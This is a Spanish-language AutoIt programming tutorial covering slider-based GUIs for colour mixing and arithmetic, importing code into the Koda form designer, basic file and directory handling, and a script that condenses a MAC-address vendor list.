- Esta aplicación se base en la que vimos en [**App Inventor 20mezclacolores.htm**](http://kio4.com/appinventor/20mezclacolores.htm), se aconseja que veas ese tutorial

- Tenemos 3 Deslizadores (Slider) que pueden dar un número entre 0 y 255, según el Deslizador movido, una Etiqueta (Label) cambiará su color de fondo.

- El fondo la Etiqueta7 será la suma de los tres valores RVA.

**---------------------------------------------------------------------------------------------------------------------------**

**- Koda.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Código completo.**

|  |
| --- |
| **suma\_colores.au3** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <SliderConstants.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form2 = GUICreate("Suma de colores - Juan A. Villalpando"**,** 792**,** 425**,** 569**,** 159)  $Slider1 = GUICtrlCreateSlider(192**,** 56**,** 337**,** 49**,** BitOR($TBS\_TOOLTIPS**,** $TBS\_BOTH**,** $TBS\_ENABLESELRANGE))  GUICtrlSetLimit(-1**,** 255**,** 0)  $Slider2 = GUICtrlCreateSlider(192**,** 136**,** 337**,** 49**,** BitOR($TBS\_TOOLTIPS**,** $TBS\_BOTH**,** $TBS\_ENABLESELRANGE))  GUICtrlSetLimit(-1**,** 255**,** 0)  $Slider3 = GUICtrlCreateSlider(192**,** 208**,** 337**,** 49**,** BitOR($TBS\_TOOLTIPS**,** $TBS\_BOTH**,** $TBS\_ENABLESELRANGE))  GUICtrlSetLimit(-1**,** 255**,** 0)  $Label1 = GUICtrlCreateLabel("Rojo: "**,** 24**,** 64**,** 119**,** 20)  $Label2 = GUICtrlCreateLabel("Verde: "**,** 24**,** 136**,** 119**,** 20)  $Label3 = GUICtrlCreateLabel("Azul: "**,** 24**,** 208**,** 119**,** 20)  $Label4 = GUICtrlCreateLabel("Label4"**,** 600**,** 16**,** 141**,** 68)  $Label5 = GUICtrlCreateLabel("Label5"**,** 600**,** 101**,** 141**,** 68)  $Label6 = GUICtrlCreateLabel("Label6"**,** 600**,** 192**,** 141**,** 68)  $Label7 = GUICtrlCreateLabel("Label7"**,** 208**,** 272**,** 317**,** 132)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  $rojo = 0  $verde = 0  $azul = 0  $r\_v\_a = 0  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** **Else**  $rojo = GUICtrlRead($Slider1)  $verde = GUICtrlRead($Slider2)  $azul = GUICtrlRead($Slider3)  GUICtrlSetData($Label1**,** "Rojo: " & $rojo)  GUICtrlSetData($Label2**,** "Verde: " & $verde)  GUICtrlSetData($Label3**,** "Azul: " & $azul)  GUICtrlSetBkColor($Label4**,** $rojo \* 256 \* 256)  GUICtrlSetBkColor($Label5**,** $verde \* 256)  GUICtrlSetBkColor($Label6**,** $azul)  $r\_v\_a = ($rojo \* 256 \* 256) + ($verde \* 256) + ($azul)  GUICtrlSetBkColor($Label7**,** $r\_v\_a)  Sleep(40)  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Comentarios.**

- Observa que el cálculo está en **Case Else**

- Observa que las operaciones de senos, se realizan en radianes, hemos tenido que convertir de grados a radianes.

- Hay funciones para pasar de radianes a grados y viceversa:

[\_Radian](https://www.autoitscript.com/autoit3/docs/libfunctions/_Radian.htm)    [\_Degree](https://www.autoitscript.com/autoit3/docs/libfunctions/_Degree.htm)

- Esto es para que salga **el numerito** sobre el Deslizador:

$Slider1 = GUICtrlCreateSlider(192, 56, 337, 49, BitOR($TBS\_TOOLTIPS, $TBS\_BOTH, $TBS\_ENABLESELRANGE))

- Cuando ponemos un **-1** se refiere al componente anterior:

GUICtrlSetLimit(**-1**, 255, 0)

- También se podría haber puesto:

GUICtrlSetLimit(**$Slider1**, 255, 0)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

-

**23.- Deslizable. (Slider). Suma de aritmética- Importar código para el KODA.**

[**suma\_aritmetica.exe**](http://kio4.com/autoit/programas/suma_colores.exe)

- Vamos a sumar cuatro números. El número h lo introduciremos mediante un Input. El número x mediante un Slider1 que tiene unos valores comprendidos entre -10 y 10. El número y mediante un Slider2 que tiene unos valores comprendidos entre -5 y 5. El número z mediante un Slider3 entre 0 y 100.

- La suma aparecerá en el Label9.

- Tenemos tres RadioButton, según el que marquemos así saldrá el color del Label9

**---------------------------------------------------------------------------------------------------------------------------**

**- Koda.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Código completo.**

|  |
| --- |
| **suma\_aritmetica.au3** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <SliderConstants.au3>  #include <StaticConstants.au3>  #include <ColorConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Formulario = GUICreate("KODA - Juan A. Villalpando"**,** 416**,** 274**,** 200**,** 200)  $Label1 = GUICtrlCreateLabel("H: "**,** 10**,** 15**,** 62**,** 25)  $Input1 = GUICtrlCreateInput("40"**,** 104**,** 15**,** 50**,** 24**,** BitOR($GUI\_SS\_DEFAULT\_INPUT**,**$ES\_RIGHT))  $Label2 = GUICtrlCreateLabel("Color:"**,** 10**,** 45**,** 40**,** 25)  $Radio1 = GUICtrlCreateRadio("Rojo"**,** 60**,** 45**,** 70**,** 20)  GUICtrlSetState(-1**,** $GUI\_CHECKED)  $Radio2 = GUICtrlCreateRadio("Verde"**,** 140**,** 45**,** 70**,** 20)  $Radio3 = GUICtrlCreateRadio("Azul"**,** 220**,** 45**,** 70**,** 20)  $Label3 = GUICtrlCreateLabel("X:"**,** 10**,** 75**,** 48**,** 25)  $Slider1 = GUICtrlCreateSlider(92**,** 75**,** 200**,** 25)  GUICtrlSetLimit(-1**,** 10**,** -10)  $Label4 = GUICtrlCreateLabel("Y:"**,** 10**,** 113**,** 40**,** 25)  $Slider2 = GUICtrlCreateSlider(92**,** 113**,** 200**,** 25)  GUICtrlSetLimit(-1**,** 5**,** -5)  $Label5 = GUICtrlCreateLabel("Z:"**,** 10**,** 159**,** 56**,** 25)  $Slider3 = GUICtrlCreateSlider(92**,** 151**,** 200**,** 25)  $Label6 = GUICtrlCreateLabel("Label6"**,** 320**,** 72**,** 45**,** 20)  $Label7 = GUICtrlCreateLabel("Label7"**,** 320**,** 112**,** 45**,** 20)  $Label8 = GUICtrlCreateLabel("Label8"**,** 320**,** 152**,** 45**,** 20)  $Label9 = GUICtrlCreateLabel("Label9"**,** 112**,** 224**,** 45**,** 20)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando**  **#EndRegion ### END Koda GUI section ###**  $x =0  $y = 0  $z = 0  $suma = 0  **While** 1  $msg = GuiGetMsg()  **if** $msg = $GUI\_EVENT\_CLOSE **Then** **Exit**  $h = GUICtrlRead($Input1)  $x = GUICtrlRead($Slider1)  GUICtrlSetData($Label6**,** $x)  $y = GUICtrlRead($Slider2)  GUICtrlSetData($Label7**,**$y)  $z = GUICtrlRead($Slider3)  GUICtrlSetData($Label8**,**$z)  $suma = $h + $x + $y + $z  GUICtrlSetData($Label9**,**$suma)  **if** $msg = $Radio1 **Then** GUICtrlSetColor($Label9**,** $COLOR\_RED)  **if** $msg = $Radio2 **Then** GUICtrlSetColor($Label9**,** $COLOR\_GREEN)  **if** $msg = $Radio3 **Then** GUICtrlSetColor($Label9**,** $COLOR\_BLUE)  Sleep(50)  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Comentarios.**

- He utilizado **If**en vez de **Case**.

- El $GUI\_EVENT\_CLOSE **Then** **Exit** es la X roja para cerrar el formulario.

- Sleep(50) para que no parpadeen mucho los controles.

- En la construcción del Formulario mediante $WS\_EX\_COMPOSITED y $WS\_EX\_TRANSPARENT evita el parpadeo (flicker), esto lo veremos en el tutorial 67 de bluetooth.

$Form1 = GUICreate("BT - Juan A. Villalpando", 386, 273, 368, 166, BitOR($WS\_MINIMIZEBOX, $WS\_SIZEBOX,$WS\_EX\_COMPOSITED, $WS\_EX\_TRANSPARENT))

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Importar códigos de controles al KODA.**

- Supongamos que tenemos un código completo de un Script como el que acabamos de ver y queremos tomar la parte de los controles y pasarla al KODA para realizar cambios en los controles.

- Tomamos la parte de los controles con los includes:

|  |
| --- |
| **koda** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <SliderConstants.au3>  #include <StaticConstants.au3>  #include <ColorConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Formulario = GUICreate("KODA - Juan A. Villalpando"**,** 416**,** 274**,** 200**,** 200)  $Label1 = GUICtrlCreateLabel("H: "**,** 10**,** 15**,** 62**,** 25)  $Input1 = GUICtrlCreateInput("40"**,** 104**,** 15**,** 50**,** 24**,** BitOR($GUI\_SS\_DEFAULT\_INPUT**,**$ES\_RIGHT))  $Label2 = GUICtrlCreateLabel("Color:"**,** 10**,** 45**,** 40**,** 25)  $Radio1 = GUICtrlCreateRadio("Rojo"**,** 60**,** 45**,** 70**,** 20)  GUICtrlSetState(-1**,** $GUI\_CHECKED)  $Radio2 = GUICtrlCreateRadio("Verde"**,** 140**,** 45**,** 70**,** 20)  $Radio3 = GUICtrlCreateRadio("Azul"**,** 220**,** 45**,** 70**,** 20)  $Label3 = GUICtrlCreateLabel("X:"**,** 10**,** 75**,** 48**,** 25)  $Slider1 = GUICtrlCreateSlider(92**,** 75**,** 200**,** 25)  GUICtrlSetLimit(-1**,** 10**,** -10)  $Label4 = GUICtrlCreateLabel("Y:"**,** 10**,** 113**,** 40**,** 25)  $Slider2 = GUICtrlCreateSlider(92**,** 113**,** 200**,** 25)  GUICtrlSetLimit(-1**,** 5**,** -5)  $Label5 = GUICtrlCreateLabel("Z:"**,** 10**,** 159**,** 56**,** 25)  $Slider3 = GUICtrlCreateSlider(92**,** 151**,** 200**,** 25)  $Label6 = GUICtrlCreateLabel("Label6"**,** 320**,** 72**,** 45**,** 20)  $Label7 = GUICtrlCreateLabel("Label7"**,** 320**,** 112**,** 45**,** 20)  $Label8 = GUICtrlCreateLabel("Label8"**,** 320**,** 152**,** 45**,** 20)  $Label9 = GUICtrlCreateLabel("Label9"**,** 112**,** 224**,** 45**,** 20)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando**  **#EndRegion ### END Koda GUI section ###** |

- Vamos al KODA. Archivo / Importar / Importar Autoit GUI. Pulsamos el botón "Process".

- Pegamos el código correspondiente.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**24.- Archivos.**

**archivos.exe**

- Vamos a trabajar con archivos y directorios.

- Con los archivos podemos realizar todas estas funciones que podemos ver en la ayuda de AutoIt.

[**Ayuda de AutoIt**](http://kio4.com/autoit/AutoIt2.chm)

|  |  |
| --- | --- |
| [FileChangeDir](https://www.autoitscript.com/autoit3/docs/functions/FileChangeDir.htm) | Changes the current working directory. |
| [FileClose](https://www.autoitscript.com/autoit3/docs/functions/FileClose.htm) | Closes a previously opened file. |
| [FileCopy](https://www.autoitscript.com/autoit3/docs/functions/FileCopy.htm) | Copies one or more files. |
| [FileCreateNTFSLink](https://www.autoitscript.com/autoit3/docs/functions/FileCreateNTFSLink.htm) | Creates an NTFS hardlink to a file or a directory. |
| [FileCreateShortcut](https://www.autoitscript.com/autoit3/docs/functions/FileCreateShortcut.htm) | Creates a shortcut (.lnk) to a file. |
| [FileDelete](https://www.autoitscript.com/autoit3/docs/functions/FileDelete.htm) | Delete one or more files. |
| [FileExists](https://www.autoitscript.com/autoit3/docs/functions/FileExists.htm) | Checks if a file or directory exists. |
| [FileFindFirstFile](https://www.autoitscript.com/autoit3/docs/functions/FileFindFirstFile.htm) | Creates a search handle, defined by a path and file mask. |
| [FileFindNextFile](https://www.autoitscript.com/autoit3/docs/functions/FileFindNextFile.htm) | Returns the next filename defined by the search handle. |
| [FileFlush](https://www.autoitscript.com/autoit3/docs/functions/FileFlush.htm) | Flushes the file's buffer to disk. |
| [FileGetAttrib](https://www.autoitscript.com/autoit3/docs/functions/FileGetAttrib.htm) | Returns a code string representing a file's attributes. |
| [FileGetEncoding](https://www.autoitscript.com/autoit3/docs/functions/FileGetEncoding.htm) | Determines the text encoding used in a file. |
| [FileGetLongName](https://www.autoitscript.com/autoit3/docs/functions/FileGetLongName.htm) | Returns the long path+name of the path+name passed. |
| [FileGetPos](https://www.autoitscript.com/autoit3/docs/functions/FileGetPos.htm) | Retrieves the current file position. |
| [FileGetShortcut](https://www.autoitscript.com/autoit3/docs/functions/FileGetShortcut.htm) | Retrieves details about a shortcut. |
| [FileGetShortName](https://www.autoitscript.com/autoit3/docs/functions/FileGetShortName.htm) | Returns the 8.3 short path+name of the path+name passed. |
| [FileGetSize](https://www.autoitscript.com/autoit3/docs/functions/FileGetSize.htm) | Returns the size of a file in bytes. |
| [FileGetTime](https://www.autoitscript.com/autoit3/docs/functions/FileGetTime.htm) | Returns the time and date information for a file. |
| [FileGetVersion](https://www.autoitscript.com/autoit3/docs/functions/FileGetVersion.htm) | Returns version information stored in a file. |
| [FileInstall](https://www.autoitscript.com/autoit3/docs/functions/FileInstall.htm) | Include and install a file with the compiled script. |
| [FileMove](https://www.autoitscript.com/autoit3/docs/functions/FileMove.htm) | Moves one or more files. |
| [FileOpen](https://www.autoitscript.com/autoit3/docs/functions/FileOpen.htm) | Opens a file for reading or writing. |
| [FileOpenDialog](https://www.autoitscript.com/autoit3/docs/functions/FileOpenDialog.htm) | Initiates a Open File Dialog. |
| [FileRead](https://www.autoitscript.com/autoit3/docs/functions/FileRead.htm) | Read in a number of characters from a previously opened file. |
| [FileReadLine](https://www.autoitscript.com/autoit3/docs/functions/FileReadLine.htm) | Read in a line of text from a previously opened text file. |
| [FileReadToArray](https://www.autoitscript.com/autoit3/docs/functions/FileReadToArray.htm) | Reads the specified file into an array. |
| [FileRecycle](https://www.autoitscript.com/autoit3/docs/functions/FileRecycle.htm) | Sends a file or directory to the recycle bin. |
| [FileRecycleEmpty](https://www.autoitscript.com/autoit3/docs/functions/FileRecycleEmpty.htm) | Empties the recycle bin. |
| [FileSaveDialog](https://www.autoitscript.com/autoit3/docs/functions/FileSaveDialog.htm) | Initiates a Save File Dialog. |
| [FileSelectFolder](https://www.autoitscript.com/autoit3/docs/functions/FileSelectFolder.htm) | Initiates a Browse For Folder dialog. |
| [FileSetAttrib](https://www.autoitscript.com/autoit3/docs/functions/FileSetAttrib.htm) | Sets the attributes of one or more files/directories. |
| [FileSetEnd](https://www.autoitscript.com/autoit3/docs/functions/FileSetEnd.htm) | Sets the end of the file at the current file position. |
| [FileSetPos](https://www.autoitscript.com/autoit3/docs/functions/FileSetPos.htm) | Sets the current file position. |
| [FileSetTime](https://www.autoitscript.com/autoit3/docs/functions/FileSetTime.htm) | Sets the timestamp of one of more files. |
| [FileWrite](https://www.autoitscript.com/autoit3/docs/functions/FileWrite.htm) | Write text/data to the end of a previously opened file. |
| [FileWriteLine](https://www.autoitscript.com/autoit3/docs/functions/FileWriteLine.htm) | Append a line of text to the end of a previously opened text file. |

- Para hacer los siguientes ejemplos simplemente copia el código y ejecútalo.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**1.- Crear un directorio.**

- Crea un directorio en el disco C, llamado "**Carpeta de AutoIt**"  
- Crea un directorio en el Escritorio del usuario, llamado "La carpeta de AutoIt"

- Recuerda que @DesktopDir es una variable macro, las puedes ver en:<https://www.autoitscript.com/autoit3/docs/macros.htm>

|  |
| --- |
| **crea\_directorio.au3** |
| DirCreate("C:/Carpeta de AutoIt/")  DirCreate(@DesktopDir & "/La carpeta de Autoit") |

- El directorio del usuario actual lo obtenemos mediante @HomeDrive y @HomePath

- Si ejecutamos MsgBox(0, "Directorios", @HomeDrive **&** @HomePath)

- Obtendría **C:\Users\Juan**

- Recuerda que **&** se utiliza para unir textos.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**2.- Borrar un directorio.**

|  |
| --- |
| **borrar\_directorio.au3** |
| DirRemove("C:/Carpeta de AutoIt/"**,** 1)  DirRemove (@DesktopDir & "/La carpeta de Autoit"**,** 1) |

- El **1** significa que borrará el directorio con el contenido que tenga dentro.

- Si ponemos un 0, solo borrará el directorio si está vacío, es decir si no tiene nada dentro.

**- Mover un directorio completo:**

DirMove("C:\Esta carpeta\", "C:\Otro sitio\Aquí se moverá", 1 )

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**3.- Crear archivo vacío.**

- Crea la carpeta "**C:/Carpeta de AutoIt/**" y dentro de ella crea al archiov "**prueba.txt**"

|  |
| --- |
| **crear\_archivo\_vacio.au3** |
| $carpeta = "C:/Carpeta de AutoIt/"  DirCreate($carpeta)  $archivo = FileOpen($carpeta & "prueba.txt"**,** 1) |

- Cuidado con las barras /, a veces equivocadamente se ponen más de la cuenta.

- Hay que tener en cuenta si vamos a utilizar el archivo para leerto o para escribirlo. Eso lo establecemos según pongamos 0 o 1

- Si ponemos un 2 será para sobre escribrir en lo que ya esté escrito.

**0** = Modo de lectura  
   **1**= Modo de escritura (adjunta al final de la línea del archivo)  
   **2** = Modo escritura 2 (borra el contenido previo del archivo)  
   Modos 1 y 2 (de escritura) pueden ser creados si el archivo no existe.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**4.- Crear archivo y escribir un texto.**

|  |
| --- |
| **crear\_archivo\_escribir\_texto.au3** |
| $carpeta = "C:/Carpeta de AutoIt/"  DirCreate($carpeta)  $archivo = FileOpen($carpeta & "prueba.txt"**,** 1)  FileWrite($archivo**,** "Esta es la línea 1" & @CRLF)  FileWrite($archivo**,** "Esta es la línea 2" & @CRLF)  FileWrite($archivo**,** "Esta es la línea 3" & @CRLF)  FileWriteLine ($archivo**,** "Otra línea 4")  FileWriteLine ($archivo**,** "Otra línea 5")  FileWriteLine ($archivo**,** "Otra línea 6")  FileClose($archivo) |

- @CRLF es para que cambie de renglón.

- Una vez que terminemos con el código del archivo es conveniente cerrarlo con **FileClose($archivo)**

- Si en vez de**FileWrite** lo hacemos con **FileWriteLine**, automáticamente añade una nueva línea.

- Vamos a consultarlo en el Bloc de notas.

- Cada vez que ejecutamos el Script se añade nuevo texto.

- Si pusiéramos $archivo = FileOpen($carpeta & "prueba.txt", **2**)

- se borraría todo el texto anterior y se escribiría uno nuevo.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**5.- Leer parte de un archivo.**

- Tenemos que abrirlo en modo lectura, con el parámetro 0

- $archivo = FileOpen($carpeta & "prueba.txt", **0**)

- FileRead($archivo, 12)**lee 12 caracteres**de ese archivo.

|  |
| --- |
| **leer\_archivo.au3** |
| $carpeta = "C:/Carpeta de AutoIt/"  $archivo = FileOpen($carpeta & "prueba.txt"**,** 0)  $texto = FileRead($archivo**,** 12)  MsgBox(0**,** "Lectura"**,** $texto)  FileClose($archivo) |

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**6.- Leer un archivo completo. Tres métodos.**

**A.- Carácter a carácter con FileRead.**

- Leemos el archivo completo, es decir hasta llegar a **OEF** (Fin De Archivo)

- Con FileRead, en un bucle va leyendo caracter a caracter hasta llegar al Fin De Archivo.

- @error = -1 significa que ha llegado a Fin De Archivo y que salga del bucle.

- Presenta el texto completo en un MsgBox.

|  |
| --- |
| **leer\_archivo\_completo.au3** |
| **;;;;;;;;;;;;;;;;; Con FileRead ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $carpeta = "C:/Carpeta de AutoIt/"  $archivo = FileOpen($carpeta & "prueba.txt"**,** 0)  $completo = ""  **While** 1  $letra = FileRead($archivo**,** 1)  $completo = $completo & $letra  **if** @error = -1 **Then** **ExitLoop**  **Wend**  MsgBox(0**,** "El archivo completo con FileRead"**,** $completo)  FileClose($archivo) |

**B.- Línea a línea con FileReadLine.**

- Con FileReadLine, en un bucle va leyendo línea a línea hasta llegar al Fin De Archivo.

- @error = -1 significa que ha llegado a Fin De Archivo y que salga del bucle.

- Presenta el texto completo en un MsgBox.

|  |
| --- |
| **leer\_archivo\_completo\_linea.au3** |
| **;;;;;;;;;;;;;;; Con FileReadLine ;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $carpeta = "C:/Carpeta de AutoIt/"  $archivo = FileOpen($carpeta & "prueba.txt"**,** 0)  $completo = ""  **While** 1  $linea = FileReadLine($archivo)  $completo = $completo & $linea & @CRLF  **if** @error = -1 **Then** **ExitLoop**  **Wend**  MsgBox(0**,** "El archivo completo con FileReadLine"**,** $completo)  FileClose($archivo) |

**C.- Con FileRead sin bucle.**

|  |
| --- |
| **leer\_archivo\_completo.au3** |
| **;;;;;;;;;;;; Con FileReadLine sin bucle ;;;;;;;;;;;**  $carpeta = "C:/Carpeta de AutoIt/"  $archivo = FileOpen($carpeta & "prueba.txt"**,** 0)  $completo = FileRead($archivo)  MsgBox(0**,** "Archivo completo."**,** $completo)  FileClose($archivo) |

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**7.- Borrar archivo.**

|  |
| --- |
| **borrar\_archivo.au3** |
| $carpeta = "C:/Carpeta de AutoIt/"  FileDelete($carpeta & "prueba.txt") |

- Archivo a la **Papelera de reciclaje:**

FileRecycle ( $carpeta & "prueba.txt")  
FileRecycleEmpty () ; Vaciar la papelera.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**8.- Comprobar si un archivo existe.**

|  |
| --- |
| **comprobar.au3** |
| $carpeta = "C:/Carpeta de AutoIt/"  $archivo = FileOpen($carpeta & "prueba.txt"**,** 1)    **If** $archivo = -1 **Then**  MsgBox(0**,** "Error"**,** "El archivo no existe o no se pudo abrir.")  **Exit**  **EndIf** |

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**9.- Copiar archivo.**

|  |
| --- |
| **copiar\_archivo.au3** |
| $carpeta = "C:/Carpeta de AutoIt/"  FileCopy($carpeta & "prueba.txt"**,** @DesktopDir & "/La carpeta de Autoit") |

- **Para moverlo:**

- FileMove("origen", "destino")

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**10.-** **FileOpenDialog. FileSaveDialog. FileSelectFolder.**

- Mediante estas funciones podemos sacar una ventana para elegir archivos y carpetas.

|  |
| --- |
| **FileOpenDialog.au3** |
| $message = "Presionar Ctrl o Shift para seleccionar más de uno."  $var = FileOpenDialog($message**,** "C:\Windows\"**,** "Imagenes (\*.jpg;\*.bmp)"**,** 1 + 4 )  **If** @error **Then**  MsgBox(4096**,**""**,**"No hay archivos seleccionados")  **Else**  $var = StringReplace($var**,** "|"**,** @CRLF)  MsgBox(4096**,**""**,**"Seleccionado: " & $var)  **EndIf** |

|  |
| --- |
| **FileSaveDialog.au3** |
| $MyDocsFolder = "::{450D8FBA-AD25-11D0-98A8-0800361B1103}"  $var = FileSaveDialog( "Choose a name."**,** $MyDocsFolder**,** "Scripts (\*.aut;\*.au3)"**,** 3)  **; option 3 = dialog remains until valid path/file selected**  **If** @error **Then**  MsgBox(4096**,**""**,**"Save cancelled.")  **Else**  MsgBox(4096**,**""**,**"You chose " & $var)  **EndIf** |

|  |
| --- |
| **FileSelecFolder.au3** |
| $archivo = FileSelectFolder("Eslegir un archivo."**,** ""**,** 0) |

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**11.-** **Comodines.**

- Se puede utilizar el **\*** como comodín.

$carpeta = "C:/Carpeta de AutoIt/"  
FileRecycle($carpeta & "\*.\*")

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Comentarios.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

-

**25.- Archivos. Sustituir.**

- Vamos a ver un ejemplo en donde partimos de un archivo al cual le debemos eliminar líneas y cambiar cadenas de caracteres. Está basado en el tutorial anterior.

- Partimos de este archivo en donde se encuentra la MAC de dispositivos de Internet y su fabricante correspondiente.

- Sabes que cada dispositivo de internet: router, ordenador, móvil,... tiene asignado un número MAC hexadecimal de la forma : D4-38-9C-D4-8A-E3

- Las tres primeras parejas de números indican el fabricante, por ejemplo D4-38-9C indica que ha sido fabricado por Sony Mobile.

------------------------------------------------------------------------------------------------------

- Partimos de este archivo, en donde se encuentran algunas MAC y su correspondiente fabricante:

|  |
| --- |
| **mac.txt** |
| OUI/MA-L Organization  company\_id Organization  Address  E0-43-DB (hex) Shenzhen ViewAt Technology Co.,Ltd.  E043DB (base 16) Shenzhen ViewAt Technology Co.,Ltd.  9A,Microprofit,6th Gaoxin South Road, High-Tech Industrial Park, Nanshan, Shenzhen, CHINA.  shenzhen guangdong 518057  CN  24-05-F5 (hex) Integrated Device Technology (Malaysia) Sdn. Bhd.  2405F5 (base 16) Integrated Device Technology (Malaysia) Sdn. Bhd.  Phase 3, Bayan Lepas FIZ  Bayan Lepas Penang 11900  MY  3C-D9-2B (hex) Hewlett Packard  3CD92B (base 16) Hewlett Packard  11445 Compaq Center Drive  Houston 77070  US  9C-8E-99 (hex) Hewlett Packard  9C8E99 (base 16) Hewlett Packard  11445 Compaq Center Drive  Houston 77070  US  B4-99-BA (hex) Hewlett Packard  B499BA (base 16) Hewlett Packard  11445 Compaq Center Drive  Houston 77070  US  1C-C1-DE (hex) Hewlett Packard  1CC1DE (base 16) Hewlett Packard  11445 Compaq Center Drive  Houston 77070  US |

- Queremos simplificar ese archivo y dejarlo de esta manera:

|  |
| --- |
| **macsimple.txt** |
| E0-43-DB Shenzhen ViewAt Technology Co.,Ltd.  24-05-F5 Integrated Device Technology (Malaysia) Sdn. Bhd. 3C-D9-2B Hewlett Packard 9C-8E-99 Hewlett Packard B4-99-BA Hewlett Packard 1C-C1-DE Hewlett Packard |

- Para ello utilizamos el siguiente código:

|  |
| --- |
| **mac.au3** |
| **; Juan A. Villalpando - KIO4.COM**  **;;;;;;;;;;;;;;; Con FileReadLine ;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $carpeta = "C:\Carpeta\_de\_AutoIt\"  $archivo = FileOpen($carpeta & "mac.txt"**,** 0)  $completo = ""  **While** 1  $linea = FileReadLine($archivo)  **if** @error = -1 **Then** **ExitLoop**  **if** StringInStr($linea**,** "(hex)") **Then**  $linea = StringReplace($linea**,** '(hex)'**,** '')  $completo = $completo & $linea & @CRLF  **EndIf**  **Wend**  **; MsgBox(0, "El archivo completo con FileReadLine", $completo)**  FileClose($archivo)  $archivo = FileOpen($carpeta & "macsimple.txt"**,** 1)  FileWrite($archivo**,** $completo)  FileClose($archivo) |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Comentarios.**

- Abrimos el archivo = **"mac.txt"**  
- Mediante el bucle **While** vamos leyendo línea a línea.  
- Cada vez que leemos una línea comprobamos si contiene la cadena**"(hex)"**  
- Si contiene esa cadena, la reemplazamos por un vacío.  
- Añadimos esa línea a la variable **$completo**

- Al final la variable **$completo**la guardamos en otro archivo llamado **"macsimple.txt"**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- El archivo completo donde se encutran las MAC lo puedes bajar de:

